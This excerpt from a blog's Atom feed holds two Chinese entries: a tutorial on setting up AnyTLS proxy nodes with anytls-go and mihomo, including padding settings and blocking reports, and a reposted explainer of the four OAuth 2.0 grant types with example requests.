&lt;p&gt;&lt;strong&gt;GIA高速VPS推荐：&lt;&#x2F;strong&gt;  &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;bulianglin.com&#x2F;g&#x2F;aHR0cHM6Ly9kLm0xMjMub3Jn&quot;&gt;https:&#x2F;&#x2F;d.m123.org&lt;&#x2F;a&gt;
&lt;strong&gt;家宽住宅VPS推荐：&lt;&#x2F;strong&gt;  &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;bulianglin.com&#x2F;g&#x2F;aHR0cHM6Ly92Lm0xMjMub3Jn&quot;&gt;https:&#x2F;&#x2F;v.m123.org&lt;&#x2F;a&gt;
&lt;strong&gt;自用专线机场推荐：&lt;&#x2F;strong&gt;  &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;bulianglin.com&#x2F;g&#x2F;aHR0cHM6Ly9iLm0xMjMub3Jn&quot;&gt;https:&#x2F;&#x2F;b.m123.org&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;anytls&quot;&gt;AnyTLS&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;bulianglin.com&#x2F;g&#x2F;aHR0cHM6Ly9naXRodWIuY29tL2FueXRscy9hbnl0bHMtZ28&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;anytls&#x2F;anytls-go&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;一个试图缓解 嵌套的TLS握手指纹(TLS in TLS) 问题的代理协议。&lt;code&gt;anytls-go&lt;&#x2F;code&gt; 是该协议的参考实现。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;灵活的分包和填充策略&lt;&#x2F;li&gt;
&lt;li&gt;连接复用，降低代理延迟&lt;&#x2F;li&gt;
&lt;li&gt;简洁的配置&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;sing-box&quot;&gt;sing-box&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;bulianglin.com&#x2F;g&#x2F;aHR0cHM6Ly9naXRodWIuY29tL1NhZ2VyTmV0L3NpbmctYm94&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;SagerNet&#x2F;sing-box&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;包含 anytls 协议的服务器和客户端&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;mihomo&quot;&gt;mihomo&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;bulianglin.com&#x2F;g&#x2F;aHR0cHM6Ly9naXRodWIuY29tL01ldGFDdWJlWC9taWhvbW8&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;MetaCubeX&#x2F;mihomo&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;包含 anytls 协议的服务器和客户端&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;shadowrocket&quot;&gt;Shadowrocket&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;bulianglin.com&#x2F;g&#x2F;aHR0cHM6Ly9hcHBzLmFwcGxlLmNvbS9hcHAvc2hhZG93cm9ja2V0L2lkOTMyNzQ3MTE4&quot;&gt;https:&#x2F;&#x2F;apps.apple.com&#x2F;app&#x2F;shadowrocket&#x2F;id932747118&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;Shadowrocket 2.2.65+ 实现了 anytls 协议的客户端&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;nekobox-for-android&quot;&gt;NekoBox For Android&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;bulianglin.com&#x2F;g&#x2F;aHR0cHM6Ly9naXRodWIuY29tL01hdHN1cmlEYXlvL05la29Cb3hGb3JBbmRyb2lkL3JlbGVhc2Vz&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;MatsuriDayo&#x2F;NekoBoxForAndroid&#x2F;releases&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;NekoBox For Android 1.3.8+ 实现了 anytls 协议的客户端&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h4 id=&quot;sheng-cheng-zi-qian-zheng-shu&quot;&gt;生成自签证书&lt;&#x2F;h4&gt;
&lt;p&gt;&lt;code&gt;openssl req -x509 -newkey ec:&amp;lt;(openssl ecparam -name prime256v1) -keyout &quot;.&#x2F;server.key&quot; -out &quot;.&#x2F;server.crt&quot; -days 36500 -nodes -subj &quot;&#x2F;CN=bing.com&quot;&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;shi-pin-wen-gao-hu-lue&quot;&gt;视频文稿（忽略）&lt;&#x2F;h2&gt;
&lt;p&gt;对稳定要求比较高的用户建议自己搭建，我的频道也做了很多搭建教程，对于零基础的朋友建议参考23年这期视频搭建第三种reality节点，都是图形化操作非常简单，很多朋友担心自己搭建的节点会被墙，但只要跟着教程一步步操作就没问题，根据我多年被墙经验，以及这两年收到的反馈，我可以很负责的告诉大家
在使用视频中同款vps的情况下，搭建使用ss节点，第二天大概率会被封ip，反馈ip被封的用户无一例外都是搭建并使用了ss节点&lt;&#x2F;p&gt;
&lt;p&gt;搭建视频中介绍的第一种vmess+ws节点，第二天大概率被封端口，但不会直接封ip，换个端口能继续使用，但第二天又会被封端口，这是在2024年3月4号之后陆续收到大家的反馈，也就是一年前的事了，所以现在不推荐使用vmess+ws&lt;&#x2F;p&gt;
&lt;p&gt;搭建视频中介绍的第二种vless+vision节点，从今年的5月4号开始，也就是十天前，也陆续收到了部分用户反馈节点用不了，但是端口没有被封，经排查，是因为教程中用到的证书域名是nip.io，这个域名会被防火墙阻断导致节点无法使用，和协议本身没关系&lt;&#x2F;p&gt;
&lt;p&gt;搭建视频中介绍的第三种vless+vision+reality节点，这两年一例被封的反馈都没有，真的是一例都没有，偶尔有白名单地区的用户反馈用不了，让他改成大厂域名之后就能用了，另外上面反馈vmess+ws被封端口的用户，我让他们在同一台vps上搭建reality节点，也都正常使用没有再收到反馈，可以说目前reality是稳如老狗，所以如果你要搭建的话，就回看那期视频的第三种方式搭建reality节点&lt;&#x2F;p&gt;
&lt;p&gt;以上情况仅供大家参考，不代表所有人都是一样的效果&lt;&#x2F;p&gt;
&lt;p&gt;回到今天的主题，tls in tls，也就是在tls里传输tls，这个已经能被防火墙识别应该是有共识了，当年vision流控的出现主要就是解决这个问题，通过填充指定长度的随机数据来消除tls in tls的流量特征，在这个月收到vless+vision节点被封的反馈时，我的第一反应是vision流控被防火墙识别了？经过测试发现只是对证书域名nip.io做了阻断，换个域名就行了，所以并不是vision流控本身被识别&lt;&#x2F;p&gt;
&lt;p&gt;本期介绍的anytls和vision类似，也是为了解决tls in tls特征，区别在于vision是固定的对开头的几个短包做指定长度的填充，我们无法进行自定义，而anytls可以通过参数指定我们要填充几个数据包，以及填充长度是多少，可以进行更加灵活个性化的设定，以此来增加防火墙识别的难度&lt;&#x2F;p&gt;
&lt;p&gt;目前除了官方的anytls-go，singbox和mihomo以及苹果端的小火箭和安卓端的nekobox也添加了对anytls的支持，至于xray的话还不支持而且大概率不会支持，因为有个还没发布的vision seed也能自定义，详情可以看这个讨论&lt;&#x2F;p&gt;
&lt;p&gt;接下来就来搭建anytls节点，我将演示两种搭建方式，一种是使用官方项目anytls-go搭建，另一种使用mihomo搭建
首先演示anytls-go，进入项目地址，这些用到的信息我会放在视频下方的说明栏，目前最新版本是008，复制这条链接地址，在你的vps上使用wget指令将其下载，由于是zip压缩文件，需要使用unzip进行解压，会得到三个文件，作为节点的服务端我们只需要运行这个anytls-server，运行的方式非常简单，一行代码搞定，你可以修改节点使用的端口，以及密码，视频演示我就简单一点，你的密码应该尽量复杂，将其复制到vps上执行，此时节点就运行在这台vps上的8443端口了，接着我们就可以连上这个节点进行科学上网了，首先还是演示官方程序，如果你是windows系统就下载这个，我是mac系统就下载这个， 下载完成将其解压出来，和vps一样解压后有三个文件，客户端我们只要使用anytls-client即可，在这个路径下打开命令行终端，windows系统的话可以在文件夹的地址栏输入cmd，回车进入命令行终端，接着执行这条指令，需要把端口改成服务器的8443，服务器ip就填入你vps的ip地址，密码要和服务端设置的一样，将修改后的指令粘贴到终端上执行，此时就会在我电脑的1080端口上开启一个socks代理，这个端口收到的数据都会交给vps上监听了8443端口的anytls处理，现在我就可以给系统或者浏览器设置一个socks代理使用了，但是由于官方程序比较简单，无法做分流，所以我们可以借助其他代理工具做分流，比如v2rayN，在这里添加一个socks代理，随便给个名称，地址和端口就填写anytls客户端监听的1080，点击确定，接着我们在v2rayN中使用这个socks节点，同样会将数据交给anytls处理，还能使用v2rayN的分流配置，测一下真链接，有延迟说明没问题，苹果用户也可以使用小火箭，新版支持anytls协议，如果你在这里没有看到anytls，需要进入app store更新小火箭，填入vps的ip，端口8443，以及密码abc，随便给个名称，点击保存，就算是添加好了，非常简单，安卓用户可以使用nekobox，同样如果在这里没有看到anytls的选项，建议更新到最新版，配置方式和小火箭是一样的，填入ip端口和密码即可，但还需要多一个步骤，anytls-go默认用的是自签证书，需要将这里的允许不安全启用，点击保存，接着就可以使用这个节点进行科学上网了，有延迟说明没问题，当确认节点没问题之后，我们就可以使用这条指令让anytls在vps后台运行，按ctrl+c结束进程，然后粘贴刚才的后台指令，回车执行，这样我们关闭终端也不会退出代理了，有延迟说明没问题，如果你想退出后台进程，可以使用这条指令关闭，关闭代理之后节点就没用了&lt;&#x2F;p&gt;
&lt;p&gt;这就是anytls的快速上手，你还可以使用其他基于singbox或者mihomo内核的代理工具使用anytls节点，这里就不演示了&lt;&#x2F;p&gt;
&lt;p&gt;可以看到基于tls的节点搭建居然这么简单，那是因为anytls-go只是为了验证anytls协议的一个demo，默认使用自签证书并且没法自己配置证书，所以如果你要使用自己域名证书的话，建议使用singbox或者mihomo搭建anytls节点&lt;&#x2F;p&gt;
&lt;p&gt;就以mihomo为例，当然为了简单一点我就使用自签证书了，复制这条指令到vps上执行，执行之后会生成证书和私钥文件，如果你有自己的域名可以找ca机构申请正规证书，然后同样会得到这两个文件，至于证书是啥怎么申请可以回看经典老番节点搭建系列教程之trojan篇，这段是mihomo使用的配置文件，你可以修改anytls的监听端口8443，以及密码，你可以设置多个密码，这里填入我们刚才生成的证书和私钥文件路径，最后就是anytls最关键的padding部分，可以灵活的设置填充几个数据包？每个数据包填充的字节范围，比如这里的意思是处理前8个数据包，给第0个数据包填充30字节，给第一个数据包填充100-400之间的随机字节大小，将第二个数据包进行策略拆分，先发送400-500字节，然后check检查该数据包是否还有数据，如果还有就继续发送500-1000字节，以此类推，你可以做独一无二的配置，比如只填充3个，就可以把后面的填充规则删掉，或者模仿vision填充，更详细的规则可以查看官方文档，如果你不配置padding话anytls也有默认配置，就是刚才的8个填充方案，将其全选复制，粘贴到vps上执行，会生成config.yaml的配置文件，接着进入这里下载mihomo，选择适合自己操作系统的版本，使用wget指令下载，使用gzip指令解压并且将名称重命名为mihomo，然后使用这条指令赋予文件可执行权限，接着就可以使用这条指令运行mihomo了，不出意外的话就可以看到日志输出anytls监听了8443端口，节点就算是搭建好了，再次测试连接，由于只是换了个搭建工具，节点的密码和端口都没变，所以不需要修改节点参数即可恢复使用，并且mihomo可以看到访问日志，这就是通过mihomo搭建anytls节点，也挺简单的，确定没问题之后，也可以使用这条指令放入后台运行，关闭命令行终端节点也能正常使用&lt;&#x2F;p&gt;
&lt;p&gt;另外如果你使用的是正规ca机构颁发的证书，建议取消启用允许不安全，然后在sni这里填入你的证书域名，最后点击保存即可，小火箭也需要重新配置，在tls设置下的sni中填入证书的域名，并且取消启用允许不安全，最后保存即可&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>OAuth 2.0 的四种方式 - 阮一峰的网络日志</title>
        <published>2025-05-17T00:00:00+00:00</published>
        <updated>2025-05-17T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/oauth-2.0-的四种方式-阮一峰的网络日志/"/>
        <id>https://vercel.juzhong.asia/obsidian/oauth-2.0-的四种方式-阮一峰的网络日志/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/oauth-2.0-的四种方式-阮一峰的网络日志/">&lt;h1 id=&quot;oauth-2-0-de-si-chong-fang-shi-ruan-yi-feng-de-wang-luo-ri-zhi&quot;&gt;OAuth 2.0 的四种方式 - 阮一峰的网络日志&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.ruanyifeng.com&#x2F;blog&#x2F;2019&#x2F;04&#x2F;oauth_design.html&quot;&gt;上一篇文章&lt;&#x2F;a&gt;介绍了 OAuth 2.0 是一种授权机制，主要用来颁发令牌（token）。本文接着介绍颁发令牌的实务操作。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;oauth2-four-grants&#x2F;oauth2-grant-flow.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;下面我假定，你已经理解了 OAuth 2.0 的含义和设计思想，否则请先阅读这个系列的&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.ruanyifeng.com&#x2F;blog&#x2F;2019&#x2F;04&#x2F;oauth_design.html&quot;&gt;上一篇文章&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;rfc-6749&quot;&gt;RFC 6749&lt;&#x2F;h2&gt;
&lt;p&gt;OAuth 2.0 的标准是 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;tools.ietf.org&#x2F;html&#x2F;rfc6749&quot;&gt;RFC 6749&lt;&#x2F;a&gt; 文件。该文件先解释了 OAuth 是什么。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;OAuth 引入了一个授权层，用来分离两种不同的角色：客户端和资源所有者。......资源所有者同意以后，资源服务器可以向客户端颁发令牌。客户端通过令牌，去请求数据。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;这段话的意思就是，&lt;strong&gt;OAuth 的核心就是向第三方应用颁发令牌。&lt;&#x2F;strong&gt; 然后，RFC 6749 接着写道：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;（由于互联网有多种场景，）本标准定义了获得令牌的四种授权方式（authorization grant ）。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;也就是说，&lt;strong&gt;OAuth 2.0 规定了四种获得令牌的流程。你可以选择最适合自己的那一种，向第三方应用颁发令牌。&lt;&#x2F;strong&gt; 下面就是这四种授权方式。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;授权码（authorization-code）&lt;&#x2F;li&gt;
&lt;li&gt;隐藏式（implicit）&lt;&#x2F;li&gt;
&lt;li&gt;密码式（password）：&lt;&#x2F;li&gt;
&lt;li&gt;客户端凭证（client credentials）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;注意，不管哪一种授权方式，第三方应用申请令牌之前，都必须先到系统备案，说明自己的身份，然后会拿到两个身份识别码：客户端 ID（client ID）和客户端密钥（client secret）。这是为了防止令牌被滥用，没有备案过的第三方应用，是不会拿到令牌的。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;di-yi-chong-shou-quan-fang-shi-shou-quan-ma&quot;&gt;第一种授权方式：授权码&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;oauth2-four-grants&#x2F;oauth2-authorization-code-flow-3.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;授权码（authorization code）方式，指的是第三方应用先申请一个授权码，然后再用该码获取令牌。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这种方式是最常用的流程，安全性也最高，它适用于那些有后端的 Web 应用。授权码通过前端传送，令牌则是储存在后端，而且所有与资源服务器的通信都在后端完成。这样的前后端分离，可以避免令牌泄漏。&lt;&#x2F;p&gt;
&lt;p&gt;第一步，A 网站提供一个链接，用户点击后就会跳转到 B 网站，授权用户数据给 A 网站使用。下面就是 A 网站跳转 B 网站的一个示意链接。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;
https:&amp;#x2F;&amp;#x2F;b.com&amp;#x2F;oauth&amp;#x2F;authorize?
  response_type=code&amp;amp;
  client_id=CLIENT_ID&amp;amp;
  redirect_uri=CALLBACK_URL&amp;amp;
  scope=read
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;上面 URL 中，&lt;code&gt;response_type&lt;&#x2F;code&gt;参数表示要求返回授权码（&lt;code&gt;code&lt;&#x2F;code&gt;），&lt;code&gt;client_id&lt;&#x2F;code&gt;参数让 B 知道是谁在请求，&lt;code&gt;redirect_uri&lt;&#x2F;code&gt;参数是 B 接受或拒绝请求后的跳转网址，&lt;code&gt;scope&lt;&#x2F;code&gt;参数表示要求的授权范围（这里是只读）。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;oauth2-four-grants&#x2F;oauth2-authorization-code-flow.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;第二步，用户跳转后，B 网站会要求用户登录，然后询问是否同意给予 A 网站授权。用户表示同意，这时 B 网站就会跳回&lt;code&gt;redirect_uri&lt;&#x2F;code&gt;参数指定的网址。跳转时，会传回一个授权码，就像下面这样。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;
https:&amp;#x2F;&amp;#x2F;a.com&amp;#x2F;callback?code=AUTHORIZATION_CODE
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;上面 URL 中，&lt;code&gt;code&lt;&#x2F;code&gt;参数就是授权码。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;oauth2-four-grants&#x2F;oauth2-authorization-code-token.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;第三步，A 网站拿到授权码以后，就可以在后端，向 B 网站请求令牌。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;
https:&amp;#x2F;&amp;#x2F;b.com&amp;#x2F;oauth&amp;#x2F;token?
 client_id=CLIENT_ID&amp;amp;
 client_secret=CLIENT_SECRET&amp;amp;
 grant_type=authorization_code&amp;amp;
 code=AUTHORIZATION_CODE&amp;amp;
 redirect_uri=CALLBACK_URL
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;上面 URL 中，&lt;code&gt;client_id&lt;&#x2F;code&gt;参数和&lt;code&gt;client_secret&lt;&#x2F;code&gt;参数用来让 B 确认 A 的身份（&lt;code&gt;client_secret&lt;&#x2F;code&gt;参数是保密的，因此只能在后端发请求），&lt;code&gt;grant_type&lt;&#x2F;code&gt;参数的值是&lt;code&gt;AUTHORIZATION_CODE&lt;&#x2F;code&gt;，表示采用的授权方式是授权码，&lt;code&gt;code&lt;&#x2F;code&gt;参数是上一步拿到的授权码，&lt;code&gt;redirect_uri&lt;&#x2F;code&gt;参数是令牌颁发后的回调网址。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;oauth2-four-grants&#x2F;oauth-authcode-token-request.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;第四步，B 网站收到请求以后，就会颁发令牌。具体做法是向&lt;code&gt;redirect_uri&lt;&#x2F;code&gt;指定的网址，发送一段 JSON 数据。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;
{
  &amp;quot;access_token&amp;quot;:&amp;quot;ACCESS_TOKEN&amp;quot;,
  &amp;quot;token_type&amp;quot;:&amp;quot;bearer&amp;quot;,
  &amp;quot;expires_in&amp;quot;:2592000,
  &amp;quot;refresh_token&amp;quot;:&amp;quot;REFRESH_TOKEN&amp;quot;,
  &amp;quot;scope&amp;quot;:&amp;quot;read&amp;quot;,
  &amp;quot;uid&amp;quot;:100101,
  &amp;quot;info&amp;quot;:{...}
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;上面 JSON 数据中，&lt;code&gt;access_token&lt;&#x2F;code&gt;字段就是令牌，A 网站在后端拿到了。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;oauth2-four-grants&#x2F;oauth2-authorization-code-flow-2.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;di-er-chong-fang-shi-yin-cang-shi&quot;&gt;第二种方式：隐藏式&lt;&#x2F;h2&gt;
&lt;p&gt;有些 Web 应用是纯前端应用，没有后端。这时就不能用上面的方式了，必须将令牌储存在前端。&lt;strong&gt;RFC 6749 就规定了第二种方式，允许直接向前端颁发令牌。这种方式没有授权码这个中间步骤，所以称为（授权码）&quot;隐藏式&quot;（implicit）。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;第一步，A 网站提供一个链接，要求用户跳转到 B 网站，授权用户数据给 A 网站使用。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;
https:&amp;#x2F;&amp;#x2F;b.com&amp;#x2F;oauth&amp;#x2F;authorize?
  response_type=token&amp;amp;
  client_id=CLIENT_ID&amp;amp;
  redirect_uri=CALLBACK_URL&amp;amp;
  scope=read
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;上面 URL 中，&lt;code&gt;response_type&lt;&#x2F;code&gt;参数为&lt;code&gt;token&lt;&#x2F;code&gt;，表示要求直接返回令牌。&lt;&#x2F;p&gt;
&lt;p&gt;第二步，用户跳转到 B 网站，登录后同意给予 A 网站授权。这时，B 网站就会跳回&lt;code&gt;redirect_uri&lt;&#x2F;code&gt;参数指定的跳转网址，并且把令牌作为 URL 参数，传给 A 网站。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;
https:&amp;#x2F;&amp;#x2F;a.com&amp;#x2F;callback#token=ACCESS_TOKEN
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;上面 URL 中，&lt;code&gt;token&lt;&#x2F;code&gt;参数就是令牌，A 网站因此直接在前端拿到令牌。&lt;&#x2F;p&gt;
&lt;p&gt;注意，令牌的位置是 URL 锚点（fragment），而不是查询字符串（querystring），这是因为 OAuth 2.0 允许跳转网址是 HTTP 协议，因此存在&quot;中间人攻击&quot;的风险，而浏览器跳转时，锚点不会发到服务器，就减少了泄漏令牌的风险。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;oauth2-four-grants&#x2F;oauth2-implicit-flow.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这种方式把令牌直接传给前端，是很不安全的。因此，只能用于一些安全要求不高的场景，并且令牌的有效期必须非常短，通常就是会话期间（session）有效，浏览器关掉，令牌就失效了。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;di-san-chong-fang-shi-mi-ma-shi&quot;&gt;第三种方式：密码式&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;如果你高度信任某个应用，RFC 6749 也允许用户把用户名和密码，直接告诉该应用。该应用就使用你的密码，申请令牌，这种方式称为&quot;密码式&quot;（password）。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;第一步，A 网站要求用户提供 B 网站的用户名和密码。拿到以后，A 就直接向 B 请求令牌。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;
https:&amp;#x2F;&amp;#x2F;oauth.b.com&amp;#x2F;token?
  grant_type=password&amp;amp;
  username=USERNAME&amp;amp;
  password=PASSWORD&amp;amp;
  client_id=CLIENT_ID
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;上面 URL 中，&lt;code&gt;grant_type&lt;&#x2F;code&gt;参数是授权方式，这里的&lt;code&gt;password&lt;&#x2F;code&gt;表示&quot;密码式&quot;，&lt;code&gt;username&lt;&#x2F;code&gt;和&lt;code&gt;password&lt;&#x2F;code&gt;是 B 的用户名和密码。&lt;&#x2F;p&gt;
&lt;p&gt;第二步，B 网站验证身份通过后，直接给出令牌。注意，这时不需要跳转，而是把令牌放在 JSON 数据里面，作为 HTTP 回应，A 因此拿到令牌。&lt;&#x2F;p&gt;
&lt;p&gt;这种方式需要用户给出自己的用户名&#x2F;密码，显然风险很大，因此只适用于其他授权方式都无法采用的情况，而且必须是用户高度信任的应用。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;di-si-chong-fang-shi-ping-zheng-shi&quot;&gt;第四种方式：凭证式&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;最后一种方式是凭证式（client credentials），适用于没有前端的命令行应用，即在命令行下请求令牌。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;第一步，A 应用在命令行向 B 发出请求。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;
https:&amp;#x2F;&amp;#x2F;oauth.b.com&amp;#x2F;token?
  grant_type=client_credentials&amp;amp;
  client_id=CLIENT_ID&amp;amp;
  client_secret=CLIENT_SECRET
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;上面 URL 中，&lt;code&gt;grant_type&lt;&#x2F;code&gt;参数等于&lt;code&gt;client_credentials&lt;&#x2F;code&gt;表示采用凭证式，&lt;code&gt;client_id&lt;&#x2F;code&gt;和&lt;code&gt;client_secret&lt;&#x2F;code&gt;用来让 B 确认 A 的身份。&lt;&#x2F;p&gt;
&lt;p&gt;第二步，B 网站验证通过以后，直接返回令牌。&lt;&#x2F;p&gt;
&lt;p&gt;这种方式给出的令牌，是针对第三方应用的，而不是针对用户的，即有可能多个用户共享同一个令牌。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ling-pai-de-shi-yong&quot;&gt;令牌的使用&lt;&#x2F;h2&gt;
&lt;p&gt;A 网站拿到令牌以后，就可以向 B 网站的 API 请求数据了。&lt;&#x2F;p&gt;
&lt;p&gt;此时，每个发到 API 的请求，都必须带有令牌。具体做法是在请求的头信息，加上一个&lt;code&gt;Authorization&lt;&#x2F;code&gt;字段，令牌就放在这个字段里面。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;
curl -H &amp;quot;Authorization: Bearer ACCESS_TOKEN&amp;quot; \
&amp;quot;https:&amp;#x2F;&amp;#x2F;api.b.com&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;上面命令中，&lt;code&gt;ACCESS_TOKEN&lt;&#x2F;code&gt;就是拿到的令牌。&lt;&#x2F;p&gt;
